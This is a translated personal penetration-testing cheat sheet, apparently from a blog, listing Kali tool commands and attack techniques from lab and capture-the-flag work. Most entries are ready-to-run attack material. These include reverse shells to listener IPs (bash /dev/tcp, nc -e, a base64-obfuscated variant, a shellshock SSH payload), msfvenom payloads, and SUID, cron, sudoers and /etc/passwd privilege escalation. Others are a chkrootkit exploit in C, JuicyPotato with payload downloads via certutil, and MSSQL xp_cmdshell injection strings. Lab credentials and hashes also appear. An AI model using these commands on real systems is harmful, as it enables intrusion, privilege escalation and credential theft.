1.cewl
Detailed tutorial: Tool Guide — cewl_Tongdita’s Blog - CSDN
This refers to another researcher’s blog.
I’m only noting down the two commands I use most often:
cewl http://192.168.15.146/ -w dict.txt # Crawl the page and generate a dictionary in the current directory
cewl http://192.168.15.146/ -n -e # Crawl for email addresses
2.netdiscover
A network-scanning tool (Kali routing analysis).
It can quickly discover live hosts. Scanning an entire range with only nmap or masscan can be slow; discovering the hosts first makes the detailed scan a little faster.
netdiscover -i eth0 -r 192.168.1.0/24
3.gobuster
I find this a little better than dirb and Yujian. dirb is powerful, but it is too slow and can hang when the wordlist is too large.
The collector’s edition of Yujian I use can only brute-force specified directories. Although I can edit its built-in wordlist, I cannot append extensions such as .php or .html. In other words, it can only brute-force exactly what appears in the wordlist.
gobuster dir -u http://192.168.1.7:33447 -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt -x php,html,js
gobuster dir -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt -x php,html,js,txt -k -t 50 -u http://doctors.htb/
4.foremost
Kali Linux provides a dedicated file-recovery tool called Foremost. It analyzes the headers, footers, and internal data structures of different file types, compares them against the data in an image file, and recovers the files.
foremost strcpy.exe
5.sudo
sudo -l : For privilege escalation, start with sudo -l to see which commands can be run as which users, then execute the appropriate one.
sudo -s : Enter a password to try to temporarily obtain a high-privilege root account.
6.SUID Privilege Escalation
Look for commands that can be run with sudo, then find the corresponding command for Linux privilege escalation.
find / -perm -u=s -type f 2>/dev/null
find / -group pinky 2>/dev/null # Check executable files for a particular group; this can turn up other useful things too
find / -user root -writable -type f -not -path “/proc/*” 2>/dev/null # Find ordinary files owned by root but writable, skip /proc, and suppress errors
find / -user root -writable -type d -not -path “/proc/*” 2>/dev/null # Find writable directories
find / -type f -perm 777 2>/dev/null
7.showmount
Use showmount to “display mount information for an NFS server.” See help for details.
showmount -e 192.168.1.9
8.enum4linux
A tool for enumerating SMB services on Windows and Linux systems. See help for details.
enum4linux 192.168.1.9
enum4linux -a -o 192.168.1.9
9.mount
Use this together with showmount to mount a remote directory from the target locally.
1
| showmount -e 10.10.10.180
|
mkdir ./nfsshare
mount -t nfs 192.168.1.9:2049/var/nfsshare ./nfsshare
If an NFS share reports insufficient permissions, the usual fix is to access the target host, check the ID of the account with permission on that directory, and then create a user with the same ID locally, as shown below.
An existing mounted share may be inaccessible because the root_squash flag is set. We can safely assume that if we have a user named vulnix with the same UID, we will be able to access it.
Create the user:
useradd -u “id” “username”
useradd -u 2008 vulnix
Mount it: (use this if the command above has problems)
mount -t nfs 192.168.1.7:/home/vulnix ./vulnix -nolock
10.smbmap
A command-line tool for quickly scanning and inspecting SMB (Server Message Block) shares.
smbmap -H <target IP/hostname> -u <username> -p <password>
smbmap -H 192.168.1.9
smbmap -H 192.168.1.9 -r anonymous
1
| smbmap -H 10.10.10.193 -u tlavel -p 'TfWScpg3aEEi' -r -q
|
11.smbclient
A client program for accessing shared resources. Use –help to see the detailed commands.
smbclient //192.168.1.9/secured -U divid
smbclient -N -L //10.10.10.134/
smbclient -N //10.10.10.134/Backups
1
| smbclient -L //10.10.132.140 -U "oscp.exam/celia.almeda%e728ecbadfb02f51ce8eed753f3ff3fd" --pw-nt-hash
|
1
2
3
| recurse ON #Enable recursion; mget and mput will traverse directories recursively
prompt OFF #Disable prompts so downloads no longer require y/n confirmation
mget * #Download files in bulk; * is a wildcard that matches all filenames during recursive traversal
|
get xxxxx ; Download a file
put xxxxx ; Upload a file
mget * ; Download all files in the current directory
tar c test.tar notes/ ; Archive all files under the notes directory
12.steghide
A steganography tool. Use –help to see the detailed commands you need.
steghide info plainsight.jpg
steghide extract -sf irked.jpg -p UPupDOWNdownLRlrBAbaSSss
13.ffuf
A fuzzing tool. See help or find a blog post for details.
ffuf -u -c http://192.168.1.9/test.php?FUZZ=/etc/passwd -w /usr/share/dirb/wordlists/common.txt
ffuf -u http://10.10.10.84/browse.php?file=FUZZ -w /usr/share/dirb/wordlists/common.txt -c -fs 300-400
wfuzz -c -w /usr/share/wordlists/SecLists-master/Discovery/DNS/bitquark-subdomains-top100000.txt -u http://10.10.10.197 -H “Host: FUZZ.sneakycorp.htb” –hh 185
ffuf -w /usr/share/wordlists/SecLists-master/Discovery/DNS/bitquark-subdomains-top100000.txt -u http://10.10.10.197 -H “HOST: FUZZ.sneakycorp.htb” -fs 185
14.Privilege Escalation by Modifying a File
If sudo lets you execute a root-owned file, change it to the format below to escalate privileges directly.
#!/bin/bash
bash -ip
15.knock
I’ve collected two port-knocking methods.
The image below shows an example port-knocking configuration.
knock 192.168.1.5 33 44 55
nmap -Pn –host-timeout 201 –max-retries 0 -p 159 192.168.1.5
16.Brute-forcing an id_rsa Private Key
I ran into this situation in a lab today, so I went and learned how to handle it.
cd /usr/share/john
Use the ssh2john.py file in this directory to convert the format.
./ssh2john.py ~/id_rsa > ~/hash converts id_rsa into content that john can recognize.
Start brute-forcing:
john hash –wordlist=/usr/share/wordlists/rockyou.txt
john –format=md5crypt –wordlist=/usr/share/wordlists/rockyou.txt ./temp_passwd # Brute-force the hash as md5crypt, which is type 1
john –format=NT –wordlist=/usr/share/wordlists/rockyou.txt hashes.txt
1
2
3
4
5
6
7
| hashcat -m 1000 hashes.txt /usr/share/wordlists/rockyou.txt
hashcat -m 1000 -a 0 hashes.txt /usr/share/wordlists/rockyou.txt --force
hashcat -m 1000 hashes.txt --show
# Identify the corresponding hash format
hashcat --help | grep -i "Kerberos"
|
17.newgrp
newgrp is a Linux command for switching user groups. It lets a user temporarily switch to another group so they can run commands or access specific files as that group.
newgrp
18.Building a File-Upload Environment
This creates an environment for uploading files, so you do not have to construct the request packet yourself. Just find the endpoint and upload through it.
1
2
3
4
5
6
7
8
| <html>
<body>
<form method="post" action="http://192.168.1.5/themes/dashboard/assets/plugins/jquery-file-upload/server/php/" enctype="multipart/form-data">
<input type="file" name="files[]" />
<input type="submit" value="send" />
</form>
</body>
</html>
|
1
| curl http://192.168.225.249:33414/file-upload -F "file=@/home/kali/hackthebox/ft.txt" -v -X POST -H "Content-Type: multipart/form-data" -F filename="/tmp/authorized_keys"
|
19.chkrootkit (Unconventional Privilege Escalation)
Details: Research on Exploiting and Preventing the Chkrootkit 0.49 Local Privilege-Escalation Vulnerability - Zhihu
Find the chkrootkit directory. It usually contains a README where you can check the version.
It is usually under /etc/chkrootkit.
Or, even better, use this command:
./chkrootkit -V If it is 0.49, you can escalate privileges using the method above.
The exact process is as follows.
Save the file as updata.c and download it to the /tmp directory on the target machine.
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
| #include <unistd.h>
void main(void)
{
system("chown root:root /tmp/update");
system("chmod 4755 /tmp/update");
setuid(0);
setgid(0);
execl("/bin/sh","sh",NULL);
}
|
gcc -o update update.c # Compile it
Once compilation finishes, enter the chkrootkit directory and run chkrootkit once: ./chkrootkit
You will find that /tmp/update now has root permissions.
Return to the tmp directory and run ./updata to obtain root privileges.
20.Checking the System Version and Kernel
uname -r
cat /etc/*-release
lsb_release -a
21.Dirty COW Linux Local Privilege-Escalation Vulnerability (CVE-2016-5195)
https://gist.github.com/rverton/e9d4ff65d703a9084e85fa9df083c679
Affected versions:
Centos7 /RHEL7 3.10.0-327.36.3.el7
Cetnos6/RHEL6 2.6.32-642.6.2.el6
Ubuntu 16.10 4.8.0-26.28
Ubuntu 16.04 4.4.0-45.66
Ubuntu 14.04 3.13.0-100.147
Debian 8 3.16.36-1+deb8u2
Debian 7 3.2.82-1
22.Apport (Ubuntu 14.04/14.10/15.04) - Race-Condition Privilege-Escalation Vulnerability
Apport (Ubuntu 14.04/14.10/15.04) - Race Condition Privilege Escalation - Linux local Exploit
I never expected this privilege-escalation exploit to run. This type of exp is not common for me, so I assumed it would not be very useful. It does work, though, so I’m noting it down for now.
23.hexchat(IRC)
The default password for ngIRCd is ’ wealllikedebian ‘.
24.smtp-user-enum
SMTP user enumeration. See help for detailed usage instructions.
smtp-user-enum -M VRFY -U ./test.txt -t 192.168.1.10
25.shellshock
While working on a lab, I ran into a connection that dropped immediately after succeeding. I searched for ages but could not find a vulnerability tutorial for “executing a command during an SSH connection.” The only suggestion I found was to append “ls -al” to the connection command, but that did not work. I later found this vulnerability in a write-up.
bash - how can shellshock be exploited over SSH? - Unix & Linux Stack Exchange
‘() { :;}; command’ # Append this when connecting; command is the command to execute
ssh -i noob [email protected] -o PubkeyAcceptedKeyTypes=ssh-rsa “() { :;}; bash -c ’exec bash -i >& /dev/tcp/192.168.1.8/1111 <&1’”
26.apache2.conf Privilege Escalation
The basic idea is to add a user and group to apache2.conf. After Apache restarts, the configuration takes effect. Place a webshell in /var/www/html beforehand; after the restart, trigger the webshell to get a reverse shell with the permissions of the user you added.
Root cannot start it by default, so this is for escalating to another user. You need permission to restart Apache and modify apache2.conf.
#User ${APACHE_RUN_USER}
#Group ${APACHE_RUN_GROUP}
User test
Group test
The /etc/apache2/sites-enabled directory contains configuration files.
27.netstat -tuln
Check which ports are in use. This command is simple and there is not much to it, but I’m noting it down anyway.
netstat -tuln
netstat -ano
28.dig
To enumerate subdomains, put the domain after dig and the DNS server after @.
dig hackers.blackhat.local @192.168.2.177
dig @10.10.10.123 friendzoneportal.red AXFR
dnsenum fabricorp.local –dnsserver 10.10.10.193
This command returns records for the entire DNS zone, including all A, AAAA, CNAME, and MX records, along with subdomain information.
1
| dnstool.py -u 'DOMAIN\user' -p 'password' --record '*' --action query <dc_ip>
|
29.Privilege Escalation with the Python cap_sys_ptrace+ep Capability
Command: getcap -r / 2>/dev/null |grep python
Output: /usr/bin/python2.7 = cap_sys_ptrace+ep
Script:
https://gist.githubusercontent.com/wifisecguy/1d69839fe855c36a1dbecca66948ad56/raw/e919439010bbabed769d86303ff18ffbacdaecfd/inject.py
Tutorial:
https://www.cnblogs.com/zlgxzswjy/p/15185591.html
30. /etc/passwd Privilege Escalation
When /etc/passwd is writable, add a user entry and switch to it with su.
Generate a salted password. Password is the password to set, and salt is the salt to use.
perl -le ‘print crypt(“Password”,“salt”)’
Write it to /etc/passwd, then switch users with su.
echo “hack:ad7t5uIalqMws:0:0::/root:/bin/bash” » /etc/passwd
31.Cron-Job Privilege Escalation
cat /etc/crontab
Inspect the scheduled tasks and identify the important part.
1
| # */5 * * * * root cd /var/www/html/ && sudo ./finally.sh
|
Column 1: Minute (0-59)
Column 2: Hour (0-23)
Column 3: Day of the month (1-31)
Column 4: Month (1-12)
Column 5: Day of the week (0-7, where both 0 and 7 represent Sunday)
Column 6: User that executes the command
Column 7: Command to execute
This means that every five minutes, root enters the /var/www/html/ directory and runs the finally.sh script with sudo privileges.
When a file executed by a scheduled task runs as root and an ordinary user can modify that file
- chmod u+s /bin/bash
chmod u+s /bin/bash
/bin/bash -p # Escalate to the root group
Or:
cp /bin/bash /var/www/html/suidbash
chmod u+s /var/www/html/suidbash
suidbash -p # Escalate to the root group
- sudo -l
echo ‘www-data ALL=(ALL) NOPASSWD: /var/www/html/finally.sh’ » /etc/sudoers
Write sudo execution permission for the current account into sudoers, then add the u+s permission to the executable.
Finally, run the file with sudo to escalate privileges, as shown below:
chmod u+s finally.sh
echo ‘www-data ALL=(ALL) NOPASSWD: /var/www/html/finally.sh’ » /etc/sudoers
sudo -l
Matching Defaults entries for www-data on sar:
env_reset, mail_badpass,
secure_path=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin:/snap/bin
User www-data may run the following commands on sar:
(ALL) NOPASSWD: /var/www/html/finally.sh
echo ‘su root’ » finally.sh
sudo /var/www/html/finally.sh
32.Bypassing Command-Injection Restrictions
Ways to Bypass Some Command-Injection Restrictions - Xianzhi Community
echo “YmFzaCAtYyAnZXhlYyBiYXNoIC1pID4mIC9kZXYvdGNwLzE5Mi4xNjguMi43NS85OTk5IDwmMSc=” | base64 -d | bash
echo Decode and execute
33.Reversing pyc with uncompyle6
This is all you need to reverse a pyc file:
uncompyle6 1.pyc > 1.py
Online decompiler for pyc, pyo, python, and py files; currently supports Python 1.5 through 3.6 - Online Tool
34.Reverse Shells
bash -c ’exec bash -i >& /dev/tcp/192.168.2.75/9999 <&1’
python -c ‘import pty; pty.spawn("/bin/bash")’
nc -e /bin/bash 192.168.31.17 7777
35.john
echo ‘$P$BW6NTkFvboVVCHU2R9qmNai1WfHSC41’ »/tmp/1
john /tmp/1 –wordlist=/usr/share/wordlists/rockyou.txt
zip:
zip2john passwd.zip > passwd.hash
john passwd.hash
john passwd.hash –wordlist=/usr/share/wordlists/rockyou.txt
john –pot=new.pot hash.txt –wordlist=/usr/share/wordlists/rockyou.txt
36.Process Discovery with pspy
Release No more waiting on drain · DominicBreuker/pspy · GitHub
Upload and run it to inspect processes, then continue with privilege escalation.
37.Wordlists
Directory brute-forcing wordlists:
/usr/share/wordlists/src/dirbuster/directory-list-2.3-big.txt
/usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt
1
2
3
4
5
6
7
| https://www.cnblogs.com/shenlinken/p/10176682.html can manipulate wordlists, including deduplication and reverse sorting
sort -u duweixin.net.txt #Remove duplicates
sort -r duweixin.net.txt #Reverse sort
# This is very powerful
feroxbuster --url http://
https://rivers.chaitin.cn/blog/cqnmojp0lnec5jjug96g
|
38.smtp
Common commands:
Command Purpose
helo smtp Greet the server and test whether login worked
auth login Log in to a specific mailbox; the username and password are base64-encoded
mail from Enter the email sender
rcpt to Enter the email recipient
data Start composing the email
quit Exit
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
| # Greet the server
HELO mail.relia.com
# Start authentication
AUTH LOGIN
# Enter the Base64-encoded username ([email protected])
bWFpbGRtekByZWxpYS5jb20=
# Enter the Base64-encoded password (DPuBT9tGCBrTbR)
RFB1QlQ5dEdjQnJUYlI=
MAIL FROM:<[email protected]>
RCPT TO:<RECIPIENT_EMAIL>
DATA
Subject: Test email
This is the email body
. # A dot on its own line terminates the message body
swaks --to [email protected] \
--from [email protected] \
--server 192.168.183.189 \
--auth LOGIN \
--auth-user [email protected] \
--auth-password DPuBT9tGCBrTbR \
--header "Subject: Test Email Subject" \
--body "This is the email body content.\nMultiple lines can be included.\n" \
--attach file.txt \
--attach-type "text/plain" \
--attach-name "custom_filename.txt"
# Prefix attachments with @
swaks -to [email protected] --from [email protected] -ap --attach @configuration.Library-ms --server 192.168.183.189 --auth LOGIN --auth-user [email protected] --auth-password DPuBT9tGCBrTbR --body "This is the email body content.\nMultiple lines can be included.\n" --header "Subject: Urgent Configuration Setup" --suppress-data
|
Here is a serious problem I ran into: I could not include an attachment.
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
| # Create the email format
cat > email.txt << 'EOL'
From: [email protected]
To: [email protected]
Subject: Urgent Configuration Setup
MIME-Version: 1.0
Content-Type: multipart/mixed; boundary=boundary
--boundary
Content-Type: text/plain
This is the email body content.
--boundary
Content-Type: application/ms-library
Content-Transfer-Encoding: base64
Content-Disposition: attachment; filename="configuration.Library-ms"
EOL
# Base64-encode the file being sent and place it below
base64 configuration.Library-ms >> email.txt
# End
echo "
--boundary--" >> email.txt
Request packet up to this point
swaks -to [email protected] \
--from [email protected] \
--auth LOGIN \
--auth-user [email protected] \
--auth-password DPuBT9tGCBrTbR \
--server 192.168.183.189 \
--data "$(cat email.txt)"
|
Common response codes:
Code Meaning
220 SMTP is online and ready for operations
221 Close the SMTP service
250 The current operation completed successfully
334 Waiting for input; appears during user login
235 Authentication succeeded
535 Authentication failed
39.pop3
The POP3 protocol
The default POP3 port is 110. The POP3 protocol has two stages:
Authentication stage
The client enters a username and password for authentication, and the server returns OK or ERR.
Transaction stage
This stage supports basic email operations.
Common commands:
Command Purpose
user Enter the username
pass Enter the password
list List the number of messages and number them automatically
retr Retrieve a message by its number
dele Delete a message
quit Exit
40.nmap
nmap -p- –min-rate 10000 10.10.10.51
–script vuln
find /usr/share/nmap/scripts -name ‘wordpress’
nmap -T4 -Pn -sC –script http-wordpress-enum –script-args http-wordpress-enum.root="/webservices/wp/",http-wordpress-enum.search-limit=“all”,http-wordpress-enum.check-latest=“true” -p80 tartarsauce.htb
nmap -p- –min-rate 10000 -oA scans/nmap-alltcp 10.10.10.193
https://nmap.org/nsedoc/scripts/http-wordpress-enum.html
https://nosec.org/home/detail/2844.html # enumerate plugins
1
2
3
4
| # Check host availability
nmap -sn 172.16.131.0/24
# Initial scan
nmap -Pn -p 21,22,23,80,443,445,3389 172.16.131.0/24
|
41.masscan
masscan -p 1-65535 10.10.10.58 –rate=100
42.nc
1
2
3
4
5
| Server
cat aa.txt | nc -l -p 10000
nc -l -p 10000 < aa.txt
Client
nc -n 192.168.1.100 10000 > aa.txt
|
plain Run this on the receiving end: (6666 can be any available port) nc -lvp 6666 > fileName Run this on the sending end: nc target_ip 6666 < fileName |
|---|
43.wpscan
wpscan –url http://10.10.10.88:80/webservices/wp -e ap –plugins-detection aggressive -t 50 # thoroughly enumerate plugins
44.sudo
sudo -u lets you specify a user and run an application that user is allowed to elevate with sudo.
45.locate
locate backuper
Similar to find, but more convenient.
46.bash
/bin/bash bash -p # spawns a new shell with the current privileges; this can be useful in scripts, for example with SUID
1
2
3
4
5
6
7
8
9
|
```c
#include <unistd.h>
void main() {
execl("/bin/bash", "bash", "-p", NULL);
}
```text
|
47.gcc
For version compatibility issues, use static linking. Some hosts are 32-bit, so add m32.
gcc -static -m32 -o 1 1.c
48.irc
IRC is chat software. Just launch it with HexChat; the rest of the setup is fairly straightforward.
49.SSH Configuration File
https://blog.csdn.net/qq_41765918/article/details/126837789
- Public Key Filename
On the machine you want to trust, the public key file is named authorized_keys. If there are multiple machines, put each key on its own line. The filename is determined by the AuthorizedKeysFile parameter in /etc/ssh/sshd_config; the default is authorized_keys.
- Public Key Path
Open /etc/ssh/sshd_config and find the AuthorizedKeysFile .ssh/authorized_keys setting, as shown below.
If the setting is uncommented, place the authorized_keys file in the configured directory. If it is still commented out, the file goes under ~/.ssh/.
- Permissions
Directory structure: ~/.ssh/authorized_keys
Set the authorized_keys file permissions to 600, the .ssh directory permissions to 700, and the home directory permissions to 755.
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
| #Disable root login; enable this if logging in as root
PermitRootLogin yes
# Whether sshd checks permissions on the user's home directory and related files.
# This prevents problems caused by incorrect permissions on important files.
# For example, incorrect permissions on ~/.ssh/ may prevent login in some cases.
StrictModes no
# Whether users may log in with key pairs; applies only to version 2.
# User public keys are stored in .ssh/authorized_keys under the home directory.
RSAAuthentication yes
PubkeyAuthentication yes
AuthorizedKeysFile .ssh/authorized_keys
# Disable password login once key-based login is configured.
PasswordAuthentication no
|
50.Multiple Shells
1
2
| setsid bash -c 'exec bash -i >& /dev/tcp/10.10.16.14/9999 <&1' > output.log 2>&1 &
nohup setsid bash -c 'exec bash -i >& /dev/tcp/10.10.16.14/9999 <&1' > output.log 2>&1 &
|
51.Buffer Overflow (Brief Notes)
1
2
3
4
5
6
7
8
9
10
| info registers #Crash information
disassemble #Add an argument, such as disassemble main, to view the function's assembly
ldd #Find dynamic libraries
ldd rop | grep libc #rop is the target program
readelf #Find function offsets
readelf -s /lib/i386-linux-gnu/libc.so.6 | grep " system" #Find the system function offset
strings -a -t x /lib/i386-linux-gnu/libc.so.6 | grep "/bin/sh" #Find the /bin/sh string address
break *0x80484f8 #Set a breakpoint
x/20x $esp #View stack data
ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz
|
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
| Dump of assembler code for function vuln:
0x080484f8 <+0>: push %ebp #Push the caller's frame base onto the stack
0x080484f9 <+1>: mov %esp,%ebp #Set ebp to the current stack top
0x080484fb <+3>: sub $0x38,%esp #Subtract 56 bytes from the stack pointer to allocate space
0x080484fe <+6>: sub $0x8,%esp #Subtract 8 bytes from the stack pointer to allocate space
0x08048501 <+9>: push 0x8(%ebp) #Push the 8-byte argument onto the stack
0x08048504 <+12>: lea -0x30(%ebp),%eax #Subtract 48 bytes from ebp and store the address in eax
0x08048507 <+15>: push %eax #Push eax onto the stack
0x08048508 <+16>: call 0x8048350 <strcpy@plt> #Call strcpy
0x0804850d <+21>: add $0x10,%esp
0x08048510 <+24>: sub $0xc,%esp
0x08048513 <+27>: push $0x80485dd
0x08048518 <+32>: call 0x8048340 <printf@plt>
0x0804851d <+37>: add $0x10,%esp
0x08048520 <+40>: sub $0xc,%esp
0x08048523 <+43>: lea -0x30(%ebp),%eax
0x08048526 <+46>: push %eax
0x08048527 <+47>: call 0x8048340 <printf@plt>
0x0804852c <+52>: add $0x10,%esp
0x0804852f <+55>: nop
0x08048530 <+56>: leave
0x08048531 <+57>: ret
|
52.Windows: Switch Users
1
2
3
4
5
6
7
8
9
10
11
12
| runas /user:administrator cmd.exe
psexec -u app -p password powershell
$username = "app"
$password = ConvertTo-SecureString "password" -AsPlainText -Force
$cred = New-Object System.Management.Automation.PSCredential($username, $password)
# Method 1: Invoke-Command
Invoke-Command -ScriptBlock { COMMAND_TO_EXECUTE } -Credential $cred
# Method 2: Start-Process
Start-Process powershell -Credential $cred -ArgumentList "COMMAND_TO_EXECUTE"
|
53.msfvenom
On Windows, getting a reverse shell seems a bit more troublesome. Unlike Linux, it is not nearly as convenient to bounce a shell back.
That is when all kinds of msfvenom reverse-shell payloads come in handy, so I am keeping a record of them here.
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
| For non-MSF reverse-shell scripts, use an nc listener
msfvenom -p windows/x64/shell_reverse_tcp -f exe -o shell.exe LHOST=10.10.16.3 LPORT=6666
msfvenom -p windows/shell_reverse_tcp -f raw -o sc_x86_msf.bin EXITFUNC=thread LHOST=10.10.16.3 LPORT=3334
aspx
msfvenom -p windows/x64/shell_reverse_tcp LHOST=10.10.16.3 LPORT=3333 -f aspx x> ./back.aspx
jsp
msfvenom -p java/jsp_shell_reverse_tcp LHOST=10.10.16.3 LPORT=6666 -f raw > shell.jsp
dll
msfvenom -a x64 -p windows/x64/shell_reverse_tcp LHOST=192.168.0.106 LPORT=4444 -f dll -o /var/public/rev.dll
asp
msfvenom -p windows/x64/shell_reverse_tcp LHOST=10.10.16.29 LPORT=6666 -f asp x> ./back.asp
php
msfvenom -p php/meterpreter_reverse_tcp LHOST=10.10.16.14 LPORT=6666 -f raw > shell.php
Use payloads as the -l argument to list all payloads
Use --platform to specify the payload platform and --arch to specify the architecture
msfvenom -l payloads --platform windows --arch x64
|
54.Standard Windows Privilege Escalation
- Juicy Potato Privilege Escalation
https://github.com/k4sth4/Juicy-Potato/blob/main/x64/jp.exe
https://github.com/ohpe/juicy-potato/blob/master/CLSID/README.md # find the CLSID for the matching version
https://www.cnblogs.com/J0o1ey/p/15714555.html Detailed tutorial
- Check whether the default RPC port is 135. If it has been changed (for example, to 111), use the juicypotato parameter -n 111 to specify the RPC port.
- Run whoami /priv to check whether the current user privileges meet the requirements.
If SeImpersonate is enabled, use -t t with juicypotato.
If SeAssignPrimaryToken is enabled, use -t u with juicypotato.
If both are enabled, use -t *.
If neither is enabled, privilege escalation is not possible.
https://book.hacktricks.xyz/windows-hardening/windows-local-privilege-escalation/roguepotato-and-printspoofer
1
2
| echo START C:\Users\Destitute\nc64.exe -e cmd.exe 10.10.16.14 5555 > shell.bat
.\jp.exe -t t -p .\shell.bat -l 1118 -c "{0134A8B2-3407-4B45-AD25-E9F7C92A80BC}"
|
55.impacket Parameters
1
2
| smbserver.py kali . -smb2support #Enable SMB2
python smbpasswd.py [email protected]
|
56.RPC Enumeration
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
| rpcclient -U "" -N 10.10.10.248
rpcclient -U "tlavel%9VwzPigFmknx" -c 'enumdomusers;enumdomgroups;enumjobs;enumkey;enumports;enumprinters;enumprivs;enumtrust;enumforms;enumdrivers;quit' 10.10.10.193
rpcclient -U "oscp.exam/celia.almeda%e728ecbadfb02f51ce8eed753f3ff3fd" -N -c 'enumdomusers;enumdomgroups;enumjobs;enumkey;enumports;enumprinters;enumprivs;enumtrust;enumforms;enumdrivers;quit' 10.10.132.140
# View all users
enumdomusers
# View all groups
enumlsgroups
# Query which groups a user belongs to
queryusergroups
queryusergroups 0x46c
# The IT group can change passwords
# A misconfigured permission may allow password changes
setuserinfo christopher.lewis 23 'Admin!23'
setuserinfo2 christopher.lewis 23 'Admin!23'
setuserinfo3 christopher.lewis 23 'Admin!23'
This can connect through WinRM
|
57.windows download
1
2
3
| C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe iwr http://10.10.16.14:33333/ncexe/nc64.exe -OutFile .\nc64.exe
curl http://10.10.16.2:33333/frp/frpc.exe -o .\frpc.exe
certutil -urlcache -split -f http://10.10.16.2:33333/Fuse/shell.exe C:\test\shell.exe
|
58.git
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
| git-dumper http://192.168.165.144/.git/ output_dir
# Stage new files in Git
git add shell.aspx
# Commit changes
git commit -m "add shell.aspx"
# Push changes
git push origin main
git show #View all commits
Stage all changes:
git add . # Stage all changes in the current directory
git add -A # Stage all changes, including deleted files
Stage specific files:
git add file1.txt file2.txt # Stage multiple specified files
git add *.txt # Stage all .txt files
Similar choices are available when committing:
git commit -m "message" # Commit all staged files
git commit file1.txt -m "message" # Commit a specific file
git commit -am "message" # Automatically stage and commit all tracked changes
Normal commit
git add .
git commit -m "test"
git push
Private-token authentication
git remote set-url origin https://oauth2:[email protected]/your-group/your-project.git
git remote set-url origin http://oauth2:[email protected]/skylark-rd/scratchpad
https://juejin.cn/post/7021023267028729887
|
1
2
| ExifTool 1.pdf
ExifTool -a -u 1.pdf
|
60.Synchronize the Clock (Time)
https://gitlab.com/NTPsec/ntpsec/-/issues/292
https://askubuntu.com/questions/429306/ntpdate-no-server-suitable-for-synchronization-found
1
2
3
4
5
6
7
8
9
10
11
12
13
14
| ntpdate -u htb.local && date
ntpdate -u htb.local -6 && date
ntpdate -u htb.local -4 && date
rpcclient -U "" -N htb.local
rpcdump> gettime
net time -S htb.local
rdate -n htb.local
#Synchronize
date -s "Sat Dec 7 05:14:11 2024"
date
|
61.Windows: Read the Microsoft Defender Exclusion List
1
| reg query "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions" /s
|
WHOIS listens on port 43.
1
2
3
4
| whois 38.100.193.70 -h 192.168.50.251
whois megacorpone.com -h 192.168.50.251
whois megacorpone.com -h 192.168.131.251
|
Google: use the Google crawler for information gathering.
1
2
3
4
5
6
7
8
9
10
| # Filter files with a .txt suffix
site:megacorpone.com filetype:txt
# Exclude files with an .htlm suffix
site:megacorpone.com -filetype:html
# The above is only a small sample; the command below can find much more information
https://www.exploit-db.com/google-hacking-database
https://dorksearch.com/
site:megacorpone.com intext:VP Of Legal
|
host
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
| host www.megacorpone.com
host -t mx megacorpone.com
host -t txt megacorpone.com
host www.megacorpone.com
host idontexist.megacorpone.com
cat list.txt
www
ftp
mail
owa
proxy
router
for ip in $(cat list.txt); do host $ip.megacorpone.com; done
for ip in $(seq 200 254); do host 51.222.169.$ip; done | grep -v "not found"
|
DNS brute forcing
1
2
3
4
5
6
7
8
9
| Use -d to specify the domain and -t to specify the enumeration type (a standard scan here)
dnsrecon -d megacorpone.com -t std
Brute-force attempt
-d specifies the domain
-D specifies the file containing candidate subdomain strings
-t specifies the enumeration type
brt means brute force
dnsrecon -d megacorpone.com -D ~/list.txt -t brt
|
1
| dnsenum megacorpone.com
|
1
2
| nslookup mail.megacorptwo.com
nslookup -type=TXT info.megacorptwo.com 192.168.50.151
|
netcat
1
2
3
4
5
6
7
8
| -w specifies the connection timeout in seconds
-z specifies zero-I/O mode, used for scanning without sending data
-u performs a UDP scan
-nv enables verbose mode
-nvv enables more verbose mode
nc -nvv -w 1 -z 192.168.50.152 3388-3390
nc -nv -u -z -w 1 192.168.50.149 120-123
|
Port scanning
1
| 1..1024 | % {echo ((New-Object Net.Sockets.TcpClient).Connect("192.168.50.151", $_)) "TCP port $_ is open"} 2>$null
|
63.MSSQL Injection
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
| https://y4er.com/posts/mssql-injection-learn
https://y4er.com/posts/mssql-getshell/
https://github.com/aleenzz/MSSQL_SQL_BYPASS_WIKI
sqsh -S 192.168.131.248:49965 -U dnnuser -P DotNetNukeDatabasePassword!
# Restore xp_cmdshell
;EXEC sp_configure 'show advanced options',1;//Allow advanced settings to be changed
RECONFIGURE;
EXEC sp_configure 'xp_cmdshell',1; //Enable the xp_cmdshell extension
RECONFIGURE;--
# Test whether xp_cmdshell is enabled via blind injection
'; IF OBJECT_ID('xp_cmdshell') IS NOT NULL WAITFOR DELAY '0:0:5'; --
'; exec master..xp_cmdshell 'whoami'; WAITFOR DELAY '0:0:5'; --
'; IF (SELECT value_in_use FROM sys.configurations WHERE name = 'xp_cmdshell') = 1 WAITFOR DELAY '0:0:5'; --
'; IF EXISTS (SELECT 1 FROM sys.configurations WHERE name = 'xp_cmdshell' AND value_in_use = 1) WAITFOR DELAY '0:0:5'; --
# Test whether a file exists; delay five seconds if it does
'; EXEC xp_cmdshell 'dir c:\inetpub\wwwroot\login.cs'; IF @@ERROR = 0 WAITFOR DELAY '0:0:5'; --
# This also tests whether a file exists and is easier to use
'; DECLARE @result int; EXEC @result = xp_cmdshell 'dir c:\inetpub\wwwroot\login.cs'; IF @result = 0 WAITFOR DELAY '0:0:5'; --
